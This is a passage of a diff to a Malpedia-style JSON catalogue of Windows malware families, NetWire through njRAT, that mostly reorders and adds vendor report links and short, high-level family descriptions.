"https://lmntrix.com/lab/analysis-of-netwire-rat/", + "https://blog.talosintelligence.com/2021/09/operation-armor-piercer.html", + "https://community.riskiq.com/article/24759ad2", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", + "https://www.gdatasoftware.com/blog/global-pandemic-remcos-tesla-netwire", + "https://www.zscaler.com/blogs/security-research/look-hydrojiin-campaign", + "https://www.sentinelone.com/wp-content/uploads/2022/02/Modified-Elephant-APT-and-a-Decade-of-Fabricating-Evidence-SentinelLabs.pdf", + "https://www.circl.lu/pub/tr-23/", + "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", + "http://researchcenter.paloaltonetworks.com/2014/08/new-release-decrypting-netwire-c2-traffic/", + "https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader", + "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", + "https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors", + "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", + "https://decoded.avast.io/adolfstreda/the-tangle-of-wiryjmpers-obfuscation/", + "http://blog.talosintelligence.com/2017/12/recam-redux-deconfusing-confuserex.html", + "https://drive.google.com/file/d/13prt2ve_sHNRRiGthB07qtfuinftJX35/view", + "https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/", + "https://www.bleepingcomputer.com/news/security/unskilled-hacker-linked-to-years-of-attacks-on-aviation-transport-sectors/", + "https://blog.talosintelligence.com/2021/04/a-year-of-fajan-evolution-and-bloomberg.html", + "https://mp.weixin.qq.com/s/yrDzybPVTbu_9SrZPlSNKA", + "https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4", + "https://securityintelligence.com/posts/roboski-global-recovery-automation/", + "https://www.sentinelone.com/labs/modifiedelephant-apt-and-a-decade-of-fabricating-evidence/", + "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", + "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", + "https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/", + "https://www.youtube.com/watch?v=TeQdZxP0RYY", + "https://blog.talosintelligence.com/2022/01/nanocore-netwire-and-asyncrat-spreading.html", + "https://www.cybereason.com/blog/cybereason-exposes-malware-targeting-us-taxpayers", + "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", + "https://blogs.blackberry.com/en/2021/09/threat-thursday-netwire-rat-is-coming-down-the-line", "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", "https://www.theregister.com/2023/03/10/fbi_netwire_seizure/", - "https://blog.talosintelligence.com/2021/04/a-year-of-fajan-evolution-and-bloomberg.html", - "https://threatpost.com/ta2541-apt-rats-aviation/178422/", - "https://www.fortinet.com/blog/threat-research/threat-actors-prey-on-eager-travelers", - "https://drive.google.com/file/d/1dD2sWYES_hrPsoql4G0aVF9ILIxAS4Fd/view", - "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", - "https://www.sentinelone.com/wp-content/uploads/2022/02/Modified-Elephant-APT-and-a-Decade-of-Fabricating-Evidence-SentinelLabs.pdf", - "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", - "http://researchcenter.paloaltonetworks.com/2014/08/new-release-decrypting-netwire-c2-traffic/", - "https://context-cdn.washingtonpost.com/notes/prod/default/documents/b19a6f2e-55a1-4915-9c2d-5fae0110418c/note/b463d38b-2384-4bb0-a94b-b1b17223ffd0.", - "https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf", - "https://www.gdatasoftware.com/blog/global-pandemic-remcos-tesla-netwire", - "https://www.cybereason.com/blog/cybereason-exposes-malware-targeting-us-taxpayers", - "https://maskop9.wordpress.com/2019/01/30/analysis-of-netwiredrc-trojan/", - "https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors", - "https://decoded.avast.io/adolfstreda/the-tangle-of-wiryjmpers-obfuscation/", - "https://news.sophos.com/en-us/2020/05/14/raticate/", - "https://drive.google.com/file/d/13prt2ve_sHNRRiGthB07qtfuinftJX35/view", - "https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader", - "https://news.sophos.com/en-us/2020/07/14/raticate-rats-as-service-with-commercial-crypter/?cmp=30728", - "https://blog.talosintelligence.com/2021/09/operation-armor-piercer.html", - "https://blog.talosintelligence.com/2022/01/nanocore-netwire-and-asyncrat-spreading.html", - "http://blog.talosintelligence.com/2017/12/recam-redux-deconfusing-confuserex.html", - "https://mp.weixin.qq.com/s/xUM2x89GuB8uP6otN612Fg", "https://www.amnesty.org/en/latest/research/2020/06/india-human-rights-defenders-targeted-by-a-coordinated-spyware-operation/", - "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/" + "https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf", + "https://news.drweb.ru/show/?i=13281&c=23", + "https://news.sophos.com/en-us/2020/05/14/raticate/", + "https://maskop9.wordpress.com/2019/01/30/analysis-of-netwiredrc-trojan/" ], "synonyms": [ "NetWeird", @@ -35560,9 +37178,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.neuron", - "https://www.secureworks.com/research/threat-profiles/iron-hunter", "https://www.ncsc.gov.uk/alerts/turla-group-malware", - "https://www.ncsc.gov.uk/news/turla-group-exploits-iran-apt-to-expand-coverage-of-victims" + "https://www.ncsc.gov.uk/news/turla-group-exploits-iran-apt-to-expand-coverage-of-victims", + "https://www.secureworks.com/research/threat-profiles/iron-hunter" ], "synonyms": [], "type": [] @@ -35575,19 +37193,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.neutrino", - "https://securityblog.switch.ch/2017/07/07/94-ch-li-domain-names-hijacked-and-used-for-drive-by/", - "https://malwarebreakdown.com/2017/04/03/shadow-server-domains-leads-to-rig-exploit-kit-dropping-smoke-loader-which-downloads-neutrino-bot-aka-kasidet", - "https://www.zscaler.com/blogs/research/malicious-office-files-dropping-kasidet-and-dridex", - "http://blog.trendmicro.com/trendlabs-security-intelligence/credit-card-scraping-kasidet-builder-leads-to-spike-in-detections/", - "http://www.peppermalware.com/2019/01/analysis-of-neutrino-bot-sample-2018-08-27.html", + "https://blog.malwarebytes.com/threat-analysis/2017/02/new-neutrino-bot-comes-in-a-protective-loader/", "http://blog.ptsecurity.com/2019/08/finding-neutrino.html", "https://journal.cecyf.fr/ojs/index.php/cybin/article/view/22", - "https://blog.malwarebytes.com/threat-analysis/2015/08/inside-neutrino-botnet-builder/", + "https://malwarebreakdown.com/2017/04/03/shadow-server-domains-leads-to-rig-exploit-kit-dropping-smoke-loader-which-downloads-neutrino-bot-aka-kasidet", + "https://securityblog.switch.ch/2017/07/07/94-ch-li-domain-names-hijacked-and-used-for-drive-by/", "https://web.archive.org/web/20191223034907/http://blog.ptsecurity.com/2019/08/finding-neutrino.html", - "https://blog.malwarebytes.com/threat-analysis/2017/02/new-neutrino-bot-comes-in-a-protective-loader/", + "https://www.zscaler.com/blogs/research/malicious-office-files-dropping-kasidet-and-dridex", "https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/", "http://malware.dontneedcoffee.com/2014/06/neutrino-bot-aka-kasidet.html", - "https://blog.malwarebytes.com/cybercrime/2017/01/post-holiday-spam-campaign-delivers-neutrino-bot/" + "http://blog.trendmicro.com/trendlabs-security-intelligence/credit-card-scraping-kasidet-builder-leads-to-spike-in-detections/", + "https://blog.malwarebytes.com/cybercrime/2017/01/post-holiday-spam-campaign-delivers-neutrino-bot/", + "http://www.peppermalware.com/2019/01/analysis-of-neutrino-bot-sample-2018-08-27.html", + "https://blog.malwarebytes.com/threat-analysis/2015/08/inside-neutrino-botnet-builder/" ], "synonyms": [ "Kasidet" @@ -35628,13 +37246,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.newcore_rat", - "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", - "https://securelist.com/cycldek-bridging-the-air-gap/97157/", - "https://blog.viettelcybersecurity.com/p1-chien-dich-cua-nhom-apt-trung-quoc-goblin-panda-tan-cong-vao-viet-nam-loi-dung-dai-dich-covid-19/", - "https://blog.fortinet.com/2017/09/05/rehashed-rat-used-in-apt-campaign-against-vietnamese-organizations", "https://drive.google.com/file/d/11otA_VmL061KcFC5MhDYuNdIKHYbpyrd/view", - "https://meltx0r.github.io/tech/2020/02/12/goblin-panda-apt.html", - "https://medium.com/@Sebdraven/goblin-panda-continues-to-target-vietnam-bc2f0f56dcd6" + "https://blog.viettelcybersecurity.com/p1-chien-dich-cua-nhom-apt-trung-quoc-goblin-panda-tan-cong-vao-viet-nam-loi-dung-dai-dich-covid-19/", + "https://securelist.com/cycldek-bridging-the-air-gap/97157/", + "https://blog.fortinet.com/2017/09/05/rehashed-rat-used-in-apt-campaign-against-vietnamese-organizations", + "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", + "https://medium.com/@Sebdraven/goblin-panda-continues-to-target-vietnam-bc2f0f56dcd6", + "https://meltx0r.github.io/tech/2020/02/12/goblin-panda-apt.html" ], "synonyms": [], "type": [] @@ -35660,9 +37278,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.newposthings", - "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-black-atlas-endangers-in-store-card-payments-and-smbs-worldwide-switches-between-blackpos-and-other-tools/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/newposthings-has-new-pos-things/", "https://www.fireeye.com/blog/threat-research/2016/04/multigrain_pointo.html", - "https://blog.trendmicro.com/trendlabs-security-intelligence/newposthings-has-new-pos-things/" + "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-black-atlas-endangers-in-store-card-payments-and-smbs-worldwide-switches-between-blackpos-and-other-tools/" ], "synonyms": [], "type": [] @@ -35688,9 +37306,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.new_ct", + "https://www.secureworks.com/research/threat-profiles/bronze-express", "https://unit42.paloaltonetworks.com/atoms/shallowtaurus/", "http://csecybsec.com/download/zlab/20180713_CSE_APT28_X-Agent_Op-Roman%20Holiday-Report_v6_1.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-express", "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf" ], "synonyms": [ @@ -35745,12 +37363,12 @@ "value": "Ngioweb (Windows)" }, { - "description": "", + "description": "According to Unit42, NGLite is a backdoor Trojan that is only capable of running commands received through its C2 channel. While the capabilities are standard for a backdoor, NGLite uses a novel C2 channel that leverages a decentralized network based on the legitimate NKN to communicate between the backdoor and the actors.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nglite", - "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/", - "https://us-cert.cisa.gov/ncas/alerts/aa21-336a" + "https://us-cert.cisa.gov/ncas/alerts/aa21-336a", + "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/" ], "synonyms": [], "type": [] @@ -35771,16 +37389,30 @@ "uuid": "5a998606-a9a9-42ad-affb-9be37e11ec25", "value": "Nibiru" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.nightclub", + "https://i.blackhat.com/BH-US-23/Presentations/US-23-MatthieuFaou-MoustachedBouncer.pdf", + "https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "7b9747fa-291a-497b-ae0a-b0760b2b62e5", + "value": "NightClub" + }, { "description": "C2 framework.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nighthawk", "https://github.com/struppigel/hedgehog-tools/blob/main/nighthawk_str_decoder.py", - "https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f", - "https://github.com/kevoreilly/CAPEv2/blob/master/modules/processing/parsers/CAPE/Nighthawk.py", "https://www.proofpoint.com/us/blog/threat-insight/nighthawk-and-coming-pentest-tool-likely-gain-threat-actor-notice", - "https://web.archive.org/web/20220505170100/https://suspicious.actor/2022/05/05/mdsec-nighthawk-study.html" + "https://web.archive.org/web/20220505170100/https://suspicious.actor/2022/05/05/mdsec-nighthawk-study.html", + "https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f", + "https://github.com/kevoreilly/CAPEv2/blob/master/modules/processing/parsers/CAPE/Nighthawk.py" ], "synonyms": [], "type": [] @@ -35793,14 +37425,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nightsky", - "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", - "https://twitter.com/cglyer/status/1480742363991580674", "https://twitter.com/cglyer/status/1480734487000453121", - "https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation", - "https://www.bleepingcomputer.com/news/security/night-sky-is-the-latest-ransomware-targeting-corporate-networks/", - "https://www.youtube.com/watch?v=Yzt_zOO8pDM", "https://www.cynet.com/attack-techniques-hands-on/threats-looming-over-the-horizon/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself" + "https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation", + "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", + "https://www.youtube.com/watch?v=Yzt_zOO8pDM", + "https://www.bleepingcomputer.com/news/security/night-sky-is-the-latest-ransomware-targeting-corporate-networks/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://twitter.com/cglyer/status/1480742363991580674" ], "synonyms": [ "Night Sky" @@ -35825,7 +37457,7 @@ "value": "NimbleMamba " }, { - "description": "According to the author, Nimbo-C2 is yet another (simple and lightweight) C2 framework. The agent currently supports Windows x64 only. It's written in Nim, with some usage of .NET (by dynamically loading the CLR to the process).", + "description": "According to the author, Nimbo-C2 is yet another (simple and lightweight) C2 framework. The agent currently supports Windows x64 and Linux. It's written in Nim, with some usage of .NET (by dynamically loading the CLR to the process).", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nimbo_c2", @@ -35835,7 +37467,7 @@ "type": [] }, "uuid": "bda7efa0-e08d-453e-95d4-9307c5104a69", - "value": "Nimbo-C2" + "value": "Nimbo-C2 (Windows)" }, { "description": "Malware written in Nim, stealing data including discord tokens from browsers, exfiltrating the results via a Discord webhook.", @@ -35863,6 +37495,32 @@ "uuid": "69981781-962a-409a-93c6-cb5377257de8", "value": "Nimrev" }, + { + "description": "According to its author, NimBlackout is an adaptation of the @Blackout project originally developed in C++ by @ZeroMemoryEx, which consists of removing AV/EDRs using the gmer (BYOVD) driver. The main reason for this project was to understand how BYOVD attacks work, and then to provide a valid PoC developed in Nim.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.nim_blackout", + "https://github.com/Helixo32/NimBlackout" + ], + "synonyms": [], + "type": [] + }, + "uuid": "904152c4-7483-41e7-acbb-884a7b32bce4", + "value": "NimBlackout" + }, + { + "description": "NirCmd is a benign tool by NirSoft that provides various functionalities. Among these is e.g. a capability to start regedit as SYSTEM, which is sometimes abused for privilege escalation, or other functionality abusable for other malicious purposes. It is also frequently flagged by AV engines.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.nircmd", + "https://www.nirsoft.net/utils/nircmd.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "51047f06-d824-4b84-a69c-97808b18f6bf", + "value": "NirCmd" + }, { "description": "", "meta": { @@ -35881,10 +37539,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nitol", - "https://en.wikipedia.org/wiki/Nitol_botnet", - "https://krebsonsecurity.com/tag/nitol/", "https://asec.ahnlab.com/en/44504/", - "https://blogs.technet.microsoft.com/microsoft_blog/2012/09/13/microsoft-disrupts-the-emerging-nitol-botnet-being-spread-through-an-unsecure-supply-chain/" + "https://krebsonsecurity.com/tag/nitol/", + "https://blogs.technet.microsoft.com/microsoft_blog/2012/09/13/microsoft-disrupts-the-emerging-nitol-botnet-being-spread-through-an-unsecure-supply-chain/", + "https://en.wikipedia.org/wiki/Nitol_botnet" ], "synonyms": [], "type": [] @@ -35898,9 +37556,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nitro", "https://documents.trendmicro.com/assets/wp/wp-detecting-apt-activity-with-network-traffic-analysis.pdf", + "https://twitter.com/malwrhunterteam/status/1430616882231578624", "https://github.com/nightfallgt/nitro-ransomware", - "https://www.bleepingcomputer.com/news/security/discord-nitro-gift-codes-now-demanded-as-ransomware-payments/", - "https://twitter.com/malwrhunterteam/status/1430616882231578624" + "https://www.bleepingcomputer.com/news/security/discord-nitro-gift-codes-now-demanded-as-ransomware-payments/" ], "synonyms": [ "Hydra" @@ -35908,7 +37566,7 @@ "type": [] }, "uuid": "a81635fc-7bb7-4cd1-b26c-ea8ce6cb2763", - "value": "win.nitro" + "value": "Nitro" }, { "description": "A Turkish cryptominer campaign.", @@ -35941,74 +37599,75 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat", - "https://attack.mitre.org/groups/G0096", - "https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/", - "https://securityintelligence.com/posts/roboski-global-recovery-automation/", - "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf", - "https://mp.weixin.qq.com/s/gWOIRNPLVqX761LW8x-S5g", - "https://twitter.com/ESETresearch/status/1449132020613922828", - "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", - "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", - "https://blogs.360.cn/post/APT-C-44.html", - "https://blog.sonatype.com/bladabindi-njrat-rat-in-jdb.js-npm-malware", - "https://intel471.com/blog/privateloader-malware", - "https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "http://threatgeek.typepad.com/files/fta-1009---njrat-uncovered-1.pdf", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://blog.talosintelligence.com/2021/08/rat-campaign-targets-latin-america.html", - "https://blog.reversinglabs.com/blog/rats-in-the-library", - "https://blog.fortinet.com/2016/11/30/bladabindi-remains-a-constant-threat-by-using-dynamic-dns-services", - "https://forensicitguy.github.io/njrat-installed-from-msi/", - "https://ti.360.net/blog/articles/analysis-of-apt-c-27/", - "https://labs.k7computing.com/?p=21904", - "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/", - "https://unit42.paloaltonetworks.com/njrat-pastebin-command-and-control", - "https://www.proofpoint.com/us/blog/threat-insight/reservations-requested-ta558-targets-hospitality-and-travel", - "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt", - "https://malwr-analysis.com/2020/06/21/njrat-malware-analysis/", - "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", - "https://www.secureworks.com/research/threat-profiles/copper-fieldstone", - "https://github.com/threatland/TL-TROJAN/tree/master/TL.RAT/RAT.Win.njRAT", - "https://www.seqrite.com/documents/en/white-papers/Whitepaper-OperationSideCopy.pdf", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/592/original/Hashes_IOCs_for_coverage.txt", - "https://blog.morphisec.com/syk-crypter-discord", - "https://about.fb.com/news/2021/04/taking-action-against-hackers-in-palestine/", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/594/original/Network_IOCs_list_for_coverage.txt?1625657479", - "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", - "http://blog.trendmicro.com/trendlabs-security-intelligence/new-rats-emerge-from-leaked-njw0rm-source-code/", - "https://lab52.io/blog/very-very-lazy-lazyscripters-scripts-double-compromise-in-a-single-obfuscation/", - "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", - "https://www.4hou.com/posts/VoPM", - "https://blog.nviso.eu/2020/09/01/epic-manchego-atypical-maldoc-delivery-brings-flurry-of-infostealers/", - "https://www.vectra.ai/blogpost/moonlight-middle-east-targeted-attacks", - "https://www.menlosecurity.com/blog/isomorph-infection-in-depth-analysis-of-a-new-html-smuggling-campaign/", - "https://github.com/itsKindred/malware-analysis-writeups/blob/master/bashar-bachir-chain/bashar-bachir-analysis.pdf", - "https://di.sclosu.re/en/njrat-malware-spreading-through-discord-cdn-and-facebook-ads/", - "http://blogs.360.cn/post/analysis-of-apt-c-37.html", - "https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/", - "https://securelist.com/apt-trends-report-q2-2019/91897/", - "https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/", - "https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/", - "https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html", - "https://asec.ahnlab.com/1369", - "https://www.microsoft.com/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks/", - "https://mp.weixin.qq.com/s/mstwBMkS0G3Et4GOji2mwA", - "https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains", - "https://news.sophos.com/en-us/2020/05/14/raticate/", "https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf", - "https://cyberandramen.net/2022/01/12/analysis-of-njrat-powerpoint-macros/", "https://www.trendmicro.com/en_us/research/23/a/earth-bogle-campaigns-target-middle-east-with-geopolitical-lures.html", + "https://github.com/threatland/TL-TROJAN/tree/master/TL.RAT/RAT.Win.njRAT", + "https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains", + "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/", + "https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/", + "http://blogs.360.cn/post/analysis-of-apt-c-37.html", + "https://lab52.io/blog/very-very-lazy-lazyscripters-scripts-double-compromise-in-a-single-obfuscation/", "https://www.trendmicro.com/en_us/research/20/i/wind-up-windscribe-vpn-bundled-with-backdoor.html", - "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", - "https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388", - "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", + "https://unit42.paloaltonetworks.com/njrat-pastebin-command-and-control", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html", + "https://malwr-analysis.com/2020/06/21/njrat-malware-analysis/", + "https://blog.talosintelligence.com/2021/09/operation-layover-how-we-tracked-attack.html", + "https://blogs.360.cn/post/APT-C-44.html", + "https://www.vectra.ai/blogpost/moonlight-middle-east-targeted-attacks", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://www.proofpoint.com/us/blog/threat-insight/reservations-requested-ta558-targets-hospitality-and-travel", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/594/original/Network_IOCs_list_for_coverage.txt?1625657479", + "https://asec.ahnlab.com/1369", + "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", + "https://forensicitguy.github.io/njrat-installed-from-msi/", + "http://blog.trendmicro.com/trendlabs-security-intelligence/new-rats-emerge-from-leaked-njw0rm-source-code/", + "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", + "https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/", + "https://blog.sonatype.com/bladabindi-njrat-rat-in-jdb.js-npm-malware", "https://blog.talosintelligence.com/2021/07/sidecopy.html", - "https://blog.talosintelligence.com/2021/09/operation-layover-how-we-tracked-attack.html" + "https://intel471.com/blog/privateloader-malware", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/592/original/Hashes_IOCs_for_coverage.txt", + "https://attack.mitre.org/groups/G0096", + "https://securityintelligence.com/posts/roboski-global-recovery-automation/", + "https://www.menlosecurity.com/blog/isomorph-infection-in-depth-analysis-of-a-new-html-smuggling-campaign/", + "https://blog.fortinet.com/2016/11/30/bladabindi-remains-a-constant-threat-by-using-dynamic-dns-services", + "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", + "https://about.fb.com/news/2021/04/taking-action-against-hackers-in-palestine/", + "https://blog.reversinglabs.com/blog/rats-in-the-library", + "https://blog.morphisec.com/syk-crypter-discord", + "https://www.microsoft.com/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks/", + "https://labs.k7computing.com/?p=21904", + "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", + "https://blog.talosintelligence.com/2021/08/rat-campaign-targets-latin-america.html", + "https://securelist.com/apt-trends-report-q2-2019/91897/", + "https://cyberandramen.net/2022/01/12/analysis-of-njrat-powerpoint-macros/", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf", + "https://mp.weixin.qq.com/s/mstwBMkS0G3Et4GOji2mwA", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q2%20Botnet%20Threat%20Update.pdf", + "https://github.com/itsKindred/malware-analysis-writeups/blob/master/bashar-bachir-chain/bashar-bachir-analysis.pdf", + "https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/", + "https://ti.360.net/blog/articles/analysis-of-apt-c-27/", + "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", + "https://www.seqrite.com/documents/en/white-papers/Whitepaper-OperationSideCopy.pdf", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://twitter.com/ESETresearch/status/1449132020613922828", + "https://blog.nviso.eu/2020/09/01/epic-manchego-atypical-maldoc-delivery-brings-flurry-of-infostealers/", + "https://news.sophos.com/en-us/2020/05/14/raticate/", + "https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html", + "https://mp.weixin.qq.com/s/gWOIRNPLVqX761LW8x-S5g", + "https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/", + "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt", + "https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/", + "https://www.secureworks.com/research/threat-profiles/copper-fieldstone", + "http://threatgeek.typepad.com/files/fta-1009---njrat-uncovered-1.pdf", + "https://di.sclosu.re/en/njrat-malware-spreading-through-discord-cdn-and-facebook-ads/", + "https://www.4hou.com/posts/VoPM", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf" ], "synonyms": [ "Bladabindi", @@ -36045,14 +37704,27 @@ "uuid": 